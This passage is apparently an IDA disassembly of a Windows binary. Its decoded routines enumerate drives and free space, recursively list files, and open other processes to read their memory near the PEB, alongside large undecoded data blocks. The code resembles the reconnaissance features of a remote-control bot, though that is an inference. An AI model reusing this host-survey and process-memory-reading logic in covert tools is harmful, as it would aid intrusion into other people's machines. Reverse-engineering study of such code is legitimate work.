dd 89000001h, 75896475h, 54758968h, 410015FFh, 0F88B0044h
dd 89FFFF83h, 0A755C7Dh, 436B9868h, 1B3E900h, 106A0000h
dd 5644458Dh, 5C3EE850h, 0C4830000h, 0C766560Ch, 24445h
dd 426015FFh, 89660044h, 106A4645h, 5044458Dh, 48758957h
dd 41E415FFh, 0C0850044h, 74680A74h, 0E900436Bh, 175h
dd 5058458Dh, 5044458Dh, 5845C757h, 10h, 406815FFh, 75FF0044h
dd 15FF46h, 89004442h, 45897C75h, 94858D70h, 50FFFFFEh
dd 57ABE8h, 4D8B5900h, 0D848A7Ch, 0FFFFFE94h, 575203Ch
dd 0EB585F6Ah, 0C0BE0F03h, 700D8488h, 8DFFFFFAh, 0FFFE9485h
dd 895041FFh, 7DE87C4Dh, 39000057h, 76597C45h, 0FF5753CDh
dd 44423015h, 74C08500h, 6A98680Ah, 0FAE90043h, 56000000h
dd 56036A56h, 6853h, 858D8000h, 0FFFFFE94h, 8C15FF50h
dd 830042B0h, 4589FFF8h, 680A756Ch, 436B54h, 0D0E9h, 0FF505600h
dd 42B0BC15h, 45895000h, 45B70F7Ch, 0B5FF5070h, 0FFFFFE78h
dd 0FE9924E8h, 0FF5059FFh, 44417C15h, 15FF5000h, 444234h
dd 94858D50h, 50FFFFFEh, 0FC78858Dh, 3C68FFFFh, 5000436Bh
dd 5BD9E8h, 8D565600h, 0FFFC7885h, 458D50FFh, 0B5FF5098h
dd 0FFFFFE78h, 0FE8756E8h, 2CC483FFh, 503C458Dh, 858D5656h
dd 0FFFFFB74h, 45C75650h, 3C3Ch, 40758900h, 0FB78BD89h
dd 9D89FFFFh, 0FFFFFB74h, 41B015FFh, 0C0850044h, 0FF561D7Fh
dd 458D2075h, 6B246898h, 0FF500043h, 0FFFE78B5h, 870DE8FFh
dd 24E9FFFEh, 8D000001h, 8D506045h, 57502C45h, 106045C7h
dd 0FF000000h, 4440BC15h, 0FFF88300h, 0FE7C8589h, 1875FFFFh
dd 436B0068h, 78858D00h, 50FFFFFCh, 5B41E8h, 0E9595900h
dd 0EEh, 1815FF57h, 39004442h, 840F7C75h, 0A2h, 400BFh
dd 7C458B00h, 7D89C73Bh, 89037D70h, 8D577045h, 0FFF67085h
dd 0E85056FFh, 5A54h, 837C458Bh, 26A0CC4h, 50D8F756h, 0FF6C75FFh
dd 42B0B815h, 458D5600h, 75FF5054h, 70858D70h, 50FFFFF6h
dd 0FF6C75FFh, 42B08015h, 75FF5600h, 70858D70h, 50FFFFF6h
dd 0FE7CB5FFh, 15FFFFFFh, 4441A0h, 99704589h, 56644501h
dd 68551157h, 0F670858Dh, 0FF50FFFFh, 0FFFE7CB5h, 6415FFFFh
dd 3B004440h, 0A98C0FC3h, 8B000000h, 0C33B7045h, 9E8C0Fh
dd 45290000h, 66850F7Ch, 8BFFFFFFh, 75FF5C7Dh, 415FF6Ch
dd 0FF0042B0h, 75FF6875h, 811E864h, 59590000h, 3075FF50h
dd 418815FFh, 8D500044h, 0FFFE9485h, 858D50FFh, 0FFFFFC78h
dd 436AD468h, 4FE85000h, 8300005Ah, 753914C4h, 561D7524h
dd 8D2075FFh, 0FFFC7885h, 458D50FFh, 0B5FF5098h, 0FFFFFE78h
dd 0FE85C2E8h, 14C483FFh, 0FC78858Dh, 0E850FFFFh, 0FFFFF0E8h
dd 7659FE3Bh, 15FF5707h, 444218h, 0FE7CB5FFh, 15FFFFFFh
dd 444218h, 0E81C75FFh, 0FFFF24A1h, 15FF5659h, 42B068h
dd 2075FF56h, 436ABCBEh, 458D5600h, 0B5FF5098h, 0FFFFFE78h
dd 0FE8572E8h, 0A1E856FFh, 83FFFFF0h, 0B5FF18C4h, 0FFFFFE7Ch
dd 421815FFh, 75FF0044h, 2463E81Ch, 5359FFFFh
db 0EBh, 0C0h
word_418CEA dw 0B855h ; DATA XREF: sub_40274D+6FEo
dd 14C4h, 8C246C8Dh, 5D27E8h, 7C458B00h, 6A575653h, 0F08B596Dh
dd 0FEB4BD8Dh, 0A5F3FFFFh, 8946F633h, 1B0B0h, 1046800h
dd 858D0000h, 0FFFFFDB0h, 8950DB33h, 15FF6C5Dh, 42B010h
dd 0FED0858Dh, 8D50FFFFh, 0FFFDB085h, 0DC6850FFh, 500042FDh
dd 5961E8h, 10C48300h, 806853h, 26A0000h, 685653h, 8D400000h
dd 0FFFDB085h, 15FF50FFh, 42B08Ch, 75FFF883h, 6C386807h
dd 46EB0043h, 415FF50h, 8D0042B0h, 0FFFDB085h, 6C3468FFh
dd 0E8500043h, 57C6h, 5959C33Bh, 75704589h, 6C086807h
dd 1EEB0043h, 8D5475FFh, 0FFFEBC85h, 1FE850FFh, 83000014h
dd 5959FFF8h, 757C4589h, 6BE86818h, 858D0043h, 0FFFFFBB0h
dd 58E4E850h, 59590000h, 0F6E9h, 1000BE00h, 8D560000h
dd 0FFEBB085h, 0E85053FFh, 5814h, 530CC483h, 0B0858D56h
dd 50FFFFEBh, 0FF7C75FFh, 44406415h, 3BF88B00h, 96840FFBh
dd 83000000h, 3674FFFFh, 8D7075FFh, 0FFEBB085h, 16A57FFh
dd 7972E850h, 7D010000h, 10C4836Ch, 0FF6C75FFh, 44423415h
dd 45895300h, 8D046A68h, 0FF506845h, 15FF7C75h, 4441A0h
dd 858D98EBh, 0FFFFFBB0h, 436ABC68h, 5FE85000h, 53000058h
dd 8D5C75FFh, 0FFFBB085h, 458D50FFh, 0B5FF50D4h, 0FFFFFEB4h
dd 0FE83DAE8h, 0B0858DFFh, 50FFFFFBh, 0FFEF03E8h, 7075FFFFh
dd 53D6E8h, 24C48300h, 0FF7C75FFh, 44421815h, 5875FF00h
dd 0FF22C0E8h, 16A59FFh, 83E9h, 6C458B00h, 0E8505299h
dd 5A7h, 0BC858D50h, 50FFFFFEh, 0FED0858Dh, 8D50FFFFh
dd 0FFFBB085h, 6BBC68FFh, 0E8500043h, 57EAh, 391CC483h
dd 1D75605Dh, 5C75FF53h, 0FBB0858Dh, 8D50FFFFh, 0FF50D445h
dd 0FFFEB4B5h, 835DE8FFh, 0C483FFFEh, 0B0858D14h, 50FFFFFBh
dd 0FFEE83E8h, 705D39FFh, 0FF097459h, 50E87075h, 59000053h
dd 767C5D39h, 7C75FF09h, 421815FFh, 75FF0044h, 2237E858h
dd 5359FFFFh, 0B06815FFh, 8BCC0042h, 33042444h, 244C39C9h
dd 8A107E08h, 43C08C15h, 1143000h, 244C3B41h, 0C3F07C08h
dword_418F38 dd 246C8D55h, 14EC818Ch, 8B000005h, 56537C45h, 0B9F08B57h
; DATA XREF: sub_40274D+5F78o
; sub_40274D+6799o
dd 0AAh, 0FD60BD8Dh, 0A5F3FFFFh, 5656F633h, 4756FF33h
dd 2A4B889h, 8D560000h, 0FFFDE485h, 35FF50FFh, 444254h
dd 410815FFh, 0C63B0044h, 0F644589h, 43D84h, 6A565600h
dd 68565602h, 40000000h, 0FEE4858Dh, 0FF50FFFFh, 42B08C15h
dd 89C73B00h, 5A736045h, 0FEE4858Dh, 8D50FFFFh, 0FFFB6085h
dd 6E0C68FFh, 0E8500043h, 56EAh, 390CC483h, 2075FC75h
dd 75FF56h, 0FB60858Dh, 8D50FFFFh, 0FFFD6485h, 0B5FF50FFh
dd 0FFFFFD60h, 0FE825AE8h, 14C483FFh, 0FB60858Dh, 0E850FFFFh
dd 0FFFFED80h, 0E8E475FFh, 0FFFF2151h, 422E959h, 0FF330000h
dd 0B03815FFh, 0BB0042h, 530007D0h, 0E8704589h, 55BFh
dd 68458959h, 20068h, 60858D00h, 56FFFFFBh, 55C6E850h
dd 0C4830000h, 7C458D0Ch, 2006850h, 858D0000h, 0FFFFFB60h
dd 6475FF50h, 41B815FFh, 75390044h, 0FF1174F8h, 858D7C75h
dd 0FFFFFB60h, 0FEC1E850h, 5959FFFFh, 5C458D56h, 7C75FF50h
dd 0FB60858Dh, 0FF50FFFFh, 15FF6075h, 42B084h, 2273FB3Bh
dd 0C72BC38Bh, 767C453Bh, 7C458B03h, 60858D50h, 50FFFFFBh
dd 368458Bh, 69E850C7h, 83000063h, 7D030CC4h, 0F075397Ch
dd 7D3B0574h, 8B3F77F0h, 0AE8C1C7h, 0E4858D50h, 50FFFFFDh
dd 69E4458Bh, 234C0h, 42E80500h, 7D830044h, 77401E8h, 436DE468h
dd 6805EB00h, 436DBCh, 55CCE850h, 0C4830000h, 7C753910h
dd 0FF32870Fh, 7539FFFFh, 6C45C7F0h, 1, 7D3B4974h, 0FF4474F0h
dd 858DF075h, 0FFFFFB60h, 6D906857h, 89500043h, 97E86C75h
dd 56000055h, 8D0075FFh, 0FFFB6085h, 858D50FFh, 0FFFFFD64h
dd 60B5FF50h, 0E8FFFFFDh, 0FFFE810Fh, 0FB60858Dh, 0E850FFFFh
dd 0FFFFEC38h, 0FF28C483h, 42B03815h, 70452B00h, 0E8B9D233h
dd 0F7000003h, 0FFD233F1h, 0C88B6075h, 0F7C78B41h, 0FFD88BF1h
dd 42B00415h, 6875FF00h, 5138E8h, 0F4753900h, 8D567459h
dd 0FFFEE485h, 24E850FFh, 3BFFFE7Fh, 7459F445h, 0F475FF44h
dd 506C7589h, 0FB60858Dh, 6868FFFFh, 5000436Dh, 550DE8h
dd 75FF5600h, 60858D00h, 50FFFFFBh, 0FD64858Dh, 0FF50FFFFh
dd 0FFFD60B5h, 8085E8FFh, 858DFFFEh, 0FFFFFB60h, 0EBAEE850h
dd 0C483FFFFh, 6C753928h, 241840Fh, 7D830000h, 840F01E8h
dd 0F6h, 5D89DB85h, 7045DB70h, 5DC067Dh, 433088h, 0DDCFF85h
dd 436D60h, 1CDD5151h, 0E4858D24h, 89FFFFFEh, 45DB707Dh
dd 67D5070h, 308805DCh, 0DDC0043h, 436D60h, 858D5151h
dd 0FFFFFB60h, 68241CDDh, 436D28h, 5480E850h, 0C4830000h
dd 0FC75391Ch, 0FF562075h, 858D0075h, 0FFFFFB60h, 64858D50h
dd 50FFFFFDh, 0FD60B5FFh, 0F0E8FFFFh, 83FFFE7Fh, 858D14C4h
dd 0FFFFFB60h, 0EB16E850h, 7D83FFFFh, 0F5901ECh, 1AA85h
dd 56056A00h, 0E4858D56h, 50FFFFFEh, 42E5B868h, 15FF5600h
dd 444214h, 0FFC7539h, 18A85h, 0E4858D00h, 50FFFFFEh, 0FB60858Dh
dd 0C68FFFFh, 5000436Dh, 5409E8h, 75FF5600h, 60858D00h
dd 50FFFFFBh, 0FD64858Dh, 0FF50FFFFh, 0FFFD60B5h, 7F81E8FFh
dd 858DFFFEh, 0FFFFFB60h, 0EAAAE850h, 0C483FFFFh, 141E924h
dd 0DB850000h, 0DB705D89h, 67D7045h, 308805DCh, 0FF850043h
dd 6D600DDCh, 51510043h, 8D241CDDh, 0FFFEE485h, 707D89FFh
dd 507045DBh, 5DC067Dh, 433088h, 6D600DDCh, 51510043h
dd 0FB60858Dh, 1CDDFFFFh, 6CC86824h, 0E8500043h, 538Ah
dd 391CC483h, 2075FC75h, 75FF56h, 0FB60858Dh, 8D50FFFFh
dd 0FFFD6485h, 0B5FF50FFh, 0FFFFFD60h, 0FE7EFAE8h, 14C483FFh
dd 0FB60858Dh, 0E850FFFFh, 0FFFFEA20h, 458D106Ah, 0E850564Ch
dd 5294h, 575F446Ah, 5608458Dh, 5286E850h, 0C4830000h
dd 4C458D1Ch, 8458D50h, 6A565650h, 89565628h, 8D56087Dh
dd 0FFFEE485h, 50FF33FFh, 45C75647h, 42B63314h, 347D8900h
dd 38758966h, 0B00815FFh, 0C73B0042h, 15FF1275h, 444224h
dd 1B30E8h, 15FF5600h, 42B000h, 0FEE4858Dh, 6850FFFFh
dd 436C94h, 858D0CEBh, 0FFFFFDE4h, 6C686850h, 858D0043h
dd 0FFFFFB60h, 52CCE850h, 0C4830000h, 0FC75390Ch, 0FF562075h
dd 858D0075h, 0FFFFFB60h, 64858D50h, 50FFFFFDh, 0FD60B5FFh
dd 3CE8FFFFh, 83FFFE7Eh, 858D14C4h, 0FFFFFB60h, 0E962E850h
dd 0FF59FFFFh, 15FF6475h, 444164h, 0E8E475FFh, 0FFFF1D29h
dd 15FF5659h, 42B068h
db 0CCh
; =============== S U B R O U T I N E =======================================
sub_419429 proc near ; CODE XREF: sub_40274D+5554p
; sub_40274D+5693p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_42065F
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_419429 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_412135+462p
; sub_412135+5FEp ...
var_40 = byte ptr -40h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 40h
and [ebp+var_4], 0
push esi
push edi
push 32h
push 0
mov edi, offset dword_4DA12C
push edi
call sub_41E5F0
add esp, 0Ch
lea esi, [ebp+var_40]
push ebx
loc_419465: ; CODE XREF: sub_419443+52j
; sub_419443+58j
push 0
push 0Ah
push [ebp+arg_4]
push [ebp+arg_0]
call sub_420890
add cl, 30h
mov [esi], cl
inc esi
mov [ebp+arg_0], eax
or eax, edx
mov [ebp+var_8], ebx
mov [ebp+arg_4], edx
jz short loc_41949D
inc [ebp+var_4]
mov eax, [ebp+var_4]
push 3
cdq
pop ecx
idiv ecx
test edx, edx
jnz short loc_419465
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_419465
; ---------------------------------------------------------------------------
loc_41949D: ; CODE XREF: sub_419443+42j
mov eax, edi
pop ebx
jmp short loc_4194A7
; ---------------------------------------------------------------------------
loc_4194A2: ; CODE XREF: sub_419443+6Aj
mov cl, [esi]
mov [eax], cl
inc eax
loc_4194A7: ; CODE XREF: sub_419443+5Dj
dec esi
lea ecx, [ebp+var_40]
cmp esi, ecx
jnb short loc_4194A2
mov byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
sub_4194B8 proc near ; CODE XREF: sub_419664+40p
; sub_419664+76p
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_44407C ; GetDriveTypeA
sub eax, 0
jz short loc_4194FB
dec eax
jz short loc_4194F5
dec eax
dec eax
jz short loc_4194EF
dec eax
jz short loc_4194E9
dec eax
jz short loc_4194E3
dec eax
jz short loc_4194DD
mov eax, offset dword_436E60
retn
; ---------------------------------------------------------------------------
loc_4194DD: ; CODE XREF: sub_4194B8+1Dj
mov eax, offset off_436E5C
retn
; ---------------------------------------------------------------------------
loc_4194E3: ; CODE XREF: sub_4194B8+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4194E9: ; CODE XREF: sub_4194B8+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4194EF: ; CODE XREF: sub_4194B8+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4194F5: ; CODE XREF: sub_4194B8+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4194FB: ; CODE XREF: sub_4194B8+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4194B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419501 proc near ; CODE XREF: sub_419549+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, ds:dword_4440FC
test eax, eax
jz short loc_419536
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_419536: ; CODE XREF: sub_419501+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_419501 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419549 proc near ; CODE XREF: sub_419664+17p
; sub_41D779+1C2p
var_1B0 = byte ptr -1B0h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = byte ptr -30h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1B0h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_30]
push eax
call sub_419501
pop ecx
pop ecx
push 6
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_419621
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_419621
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_419621
push ebx
push 0
mov ebx, 400h
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_420930
push edx
push eax
call sub_419443
push eax
mov edi, offset aSkb ; "%sKB"
push edi
mov esi, 80h
lea eax, [ebp+var_1B0]
push esi
push eax
call sub_41E6FE
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_420930
push edx
push eax
call sub_419443
push eax
push edi
lea eax, [ebp+var_130]
push esi
push eax
call sub_41E6FE
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_420930
push edx
push eax
call sub_419443
push eax
push edi
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41E6FE
add esp, 18h
pop ebx
jmp short loc_419650
; ---------------------------------------------------------------------------
loc_419621: ; CODE XREF: sub_419549+2Cj
; sub_419549+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_1B0]
push esi
push eax
call sub_41E6A6
lea eax, [ebp+var_130]
push esi
push eax
call sub_41E6A6
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41E6A6
add esp, 18h
loc_419650: ; CODE XREF: sub_419549+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_1B0]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_419549 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419664 proc near ; CODE XREF: sub_419725+Dj
; sub_419725+51p
var_500 = byte ptr -500h
var_380 = byte ptr -380h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_500]
push ebx
push eax
call sub_419549
push 60h
pop ecx
mov esi, eax
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
lea edi, [ebp+var_180]
push eax
rep movsd
call sub_41E990
add esp, 10h
test eax, eax
jnz short loc_4196C6
push ebx
push ebx
call sub_4194B8
pop ecx
push eax
push offset unk_436EB0
lea eax, [ebp+var_380]
push 200h
push eax
call sub_41E6FE
add esp, 14h
jmp short loc_4196FA
; ---------------------------------------------------------------------------
loc_4196C6: ; CODE XREF: sub_419664+3Cj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4194B8
pop ecx
push eax
push offset unk_436E74
lea eax, [ebp+var_380]
push 200h
push eax
call sub_41E6FE
add esp, 20h
loc_4196FA: ; CODE XREF: sub_419664+60j
push 1
push [ebp+arg_8]
lea eax, [ebp+var_380]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
lea eax, [ebp+var_380]
push eax
call sub_417D70
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_419664 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419725 proc near ; CODE XREF: sub_40274D+2360p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_419737
pop ebx
pop ebp
jmp sub_419664
; ---------------------------------------------------------------------------
loc_419737: ; CODE XREF: sub_419725+9j
push esi
push edi
push ebx
push ebx
call ds:dword_4441A8 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41E5D3
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_4441A8 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_41978D
loc_41975B: ; CODE XREF: sub_419725+66j
push offset aA_1 ; "A:\\"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_41977E
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419664
add esp, 10h
loc_41977E: ; CODE XREF: sub_419725+45j
push esi
call sub_41E1C0
lea esi, [esi+eax+1]
cmp [esi], bl
pop ecx
jnz short loc_41975B
loc_41978D: ; CODE XREF: sub_419725+34j
push edi
call sub_41E2A1
pop ecx
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419725 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419799 proc near ; CODE XREF: sub_419799+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
push [ebp+arg_10]
mov esi, 104h
push offset aS_3 ; "%s\\*"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41E6FE
mov edi, ds:dword_42B0B4
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_0 ; "%s\\%s"
jz short loc_419856
loc_4197E5: ; CODE XREF: sub_419799+BBj
test [ebp+var_144], 10h
jz short loc_419842
cmp [ebp+var_118], 2Eh
jnz short loc_419809
cmp [ebp+var_117], 0
jz short loc_419842
cmp [ebp+var_117], 2Eh
jz short loc_419842
loc_419809: ; CODE XREF: sub_419799+5Cj
lea eax, [ebp+var_118]
push eax
push [ebp+arg_10]
lea eax, [ebp+var_34C]
push ebx
push esi
push eax
call sub_41E6FE
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419799
add esp, 2Ch
mov [ebp+arg_14], eax
loc_419842: ; CODE XREF: sub_419799+53j
; sub_419799+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jnz short loc_4197E5
loc_419856: ; CODE XREF: sub_419799+4Aj
push [ebp+var_4]
call ds:dword_42B0A4 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41E6FE
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4198DC
loc_41988D: ; CODE XREF: sub_419799+141j
inc [ebp+arg_14]
lea eax, [ebp+var_118]
push eax
push [ebp+arg_10]
lea eax, [ebp+var_54C]
push offset dword_436EF0
push 200h
push eax
call sub_41E6FE
push 1
push [ebp+arg_8]
lea eax, [ebp+var_54C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40123B
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call ds:dword_42B0B0 ; FindNextFileA
test eax, eax
jnz short loc_41988D
loc_4198DC: ; CODE XREF: sub_419799+F2j
push esi
call ds:dword_42B0A4 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_419799 endp
; ---------------------------------------------------------------------------
byte_4198EB db 55h ; DATA XREF: sub_40274D+6585o
dd 8C246C8Dh, 49CEC81h, 458B0000h, 5756537Ch, 0A7B9F08Bh
dd 8D000000h, 0FFFDD8BDh, 0C7A5F3FFh, 29880h, 100h, 60858D00h
dd 50FFFFFFh, 489FE8h, 80DB3300h, 0FF5F05BCh, 595CFFFFh
dd 858D1475h, 0FFFFFF60h, 4886E850h, 88590000h, 0FF5F059Ch
dd 858DFFFFh, 0FFFFFE5Ch, 6F346850h, 858D0043h, 0FFFFFBD8h
dd 20068h, 9FE85000h, 8300004Dh, 5D3910C4h, 5320756Ch
dd 8D6875FFh, 0FFFBD885h, 858D50FFh, 0FFFFFDDCh, 0D8B5FF50h
dd 0E8FFFFFDh, 0FFFE78B7h, 5314C483h, 0FF60858Dh, 8D50FFFFh
dd 0FFFE5C85h, 75FF50FFh, 0DC858D68h, 50FFFFFDh, 0FDD8B5FFh
dd 0EEE8FFFFh, 50FFFFFDh, 0FBD8858Dh, 1468FFFFh, 5000436Fh
dd 4CE9E8h, 24C48300h, 756C5D39h, 75FF5320h, 0D8858D68h
dd 50FFFFFBh, 0FDDC858Dh, 0FF50FFFFh, 0FFFDD8B5h, 7859E8FFh
dd 0C483FFFEh, 0D8858D14h, 50FFFFFBh, 0FFE37FE8h, 6475FFFFh
dd 0FF1750E8h, 535959FFh, 0B06815FFh, 83CC0042h, 648318ECh
dd 83001424h, 42464h, 8B565553h, 42B0E835h, 0BB5700h, 53000001h
dd 0D6FF086Ah, 0B0E43D8Bh, 0FF500042h, 8DE88BD7h, 50142444h
dd 106A5553h, 0A96015FFh, 6A55004Dh, 50D6FF00h, 0B0E015FFh
dd 74FF0042h, 86A1424h, 0FF50D6FFh, 8BE88BD7h, 8D142444h
dd 511C244Ch, 106A5550h, 2C244489h, 0A96015FFh, 0C085004Dh
dd 448B7E75h, 0E8C11C24h, 24448904h, 33717418h, 0C13B41C9h
dd 4C89DD8Bh, 64721024h, 87B8366h, 6A507505h, 0FF006A00h
dd 4DB16815h, 57F88B00h, 73FF016Ah, 6C15FF04h, 85004DB1h
dd 8B2575C0h, 44896047h, 878D2024h, 80h, 436F6C68h, 13E85000h
dd 5900006Fh, 55C2E850h, 0C0850000h, 34755959h, 774FF85h
dd 7015FF57h, 8B004DB1h, 83182444h, 44FF10C3h, 44391024h
dd 9C761024h, 6A55FF33h, 50D6FF00h, 0B0E015FFh, 0C78B0042h
dd 5B5D5E5Fh, 0C318C483h, 18246483h, 247C8300h, 5D760020h
dd 80878Dh, 44890000h, 44811024h, 11C1024h, 64680000h
dd 0FF00436Fh, 0E8142474h, 6EA6h, 55E85059h, 85000055h
dd 755959C0h, 6F5C6844h, 74FF0043h, 8BE81424h, 5900006Eh
dd 553AE850h, 0C0850000h, 7755959h, 8904438Bh, 0FF242444h
dd 8B182444h, 3B182444h, 72202444h, 74FF85ADh, 15FF5707h
dd 4DB170h, 24247C8Bh, 0FFFF6DE9h, 0E9C033FFh, 0FFFFFF74h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 68h
push esi
push dword ptr [ebp+8]
xor esi, esi
push esi
push 410h
mov [ebp-14h], esi
call ds:dword_42B040 ; OpenProcess
cmp eax, esi
mov [ebp-8], eax
jnz short loc_419BB5
xor eax, eax
jmp loc_419D27
; ---------------------------------------------------------------------------
loc_419BB5: ; CODE XREF: seg000:00419BACj
mov eax, [ebp+0Ch]
push ebx
mov [eax], esi
push edi
lea eax, [ebp-68h]
push eax
call ds:dword_42B0F4 ; GetSystemInfo
push dword ptr [ebp-64h]
mov [ebp-0Ch], esi
mov esi, ds:dword_42B0E8
push 8
call esi ; GetProcessHeap
mov edi, ds:dword_42B0E4
push eax
call edi ; RtlAllocateHeap
mov ebx, ds:dword_42B0F0
lea ecx, [ebp-0Ch]
push ecx
push dword ptr [ebp-64h]
mov [ebp-4], eax
push eax
push 7FFDF000h
push dword ptr [ebp-8]
call ebx ; ReadProcessMemory
test eax, eax
jnz short loc_419C05
xor esi, esi
jmp loc_419D1A
; ---------------------------------------------------------------------------
loc_419C05: ; CODE XREF: seg000:00419BFCj
push 1Ch
lea eax, [ebp-44h]
push eax
mov eax, [ebp-4]
push dword ptr [eax+18h]
push dword ptr [ebp-8]
call ds:dword_42B0EC ; VirtualQueryEx
test eax, eax
jz loc_419D09
test byte ptr [ebp-33h], 10h
jz loc_419D09
test byte ptr [ebp-2Fh], 1
jnz loc_419D09
push dword ptr [ebp-38h]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov edi, eax
lea eax, [ebp-0Ch]
push eax
push dword ptr [ebp-38h]
mov eax, [ebp-4]
push edi
push dword ptr [eax+18h]
mov [ebp-10h], edi
push dword ptr [ebp-8]
call ebx ; ReadProcessMemory
test eax, eax
jz loc_419D09
loc_419C60: ; CODE XREF: seg000:00419C94j
push edi
push offset dword_4DA160
call sub_4298E2
test eax, eax
pop ecx
